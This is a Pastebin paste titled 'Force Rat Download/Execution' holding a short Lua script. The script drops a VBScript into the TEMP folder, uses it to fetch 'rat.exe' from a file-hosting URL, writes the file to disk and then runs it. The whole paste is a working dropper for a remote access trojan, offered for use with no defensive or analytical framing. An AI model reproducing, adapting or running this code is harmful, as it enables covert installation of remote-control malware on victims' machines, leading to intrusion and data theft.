SlyHades66

Lua: Force Rat Download/Execution

Jun 16th, 2016
339
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 0.58 KB | None | 0 0
  1. local link = "http://www.mediafire.com/download/buva5uubkj7czb9/rat.exe"
  2. local script = [[
  3. Dim o
  4. Set o = CreateObject("MSXML2.XMLHTTP")
  5. o.open "GET", "]]..link..[[", False
  6. o.send
  7. Wscript.Echo(o.ResponseText)
  8. ]]
  9. local tmp = os.getenv("TEMP")
  10. local tnm = os.tmpname()
  11. local vbs = io.open(tmp .. '/' .. tnm .. ".vbs", 'w')
  12. vbs:write(script)
  13. vbs:close()
  14. local x, y = io.popen("cscript -nologo " .. tmp .. '/' .. tnm .. ".vbs")
  15. repeat
  16.     wait()
  17.     y = x:read "*a"
  18. until y
  19. x:close()
  20. local rat = io.open(tmp .. "/rat.exe", "w")
  21. rat:write(y)
  22. rat:close()
  23. os.execute(tmp .. "/rat.exe")
Add Comment
Please, Sign In to add comment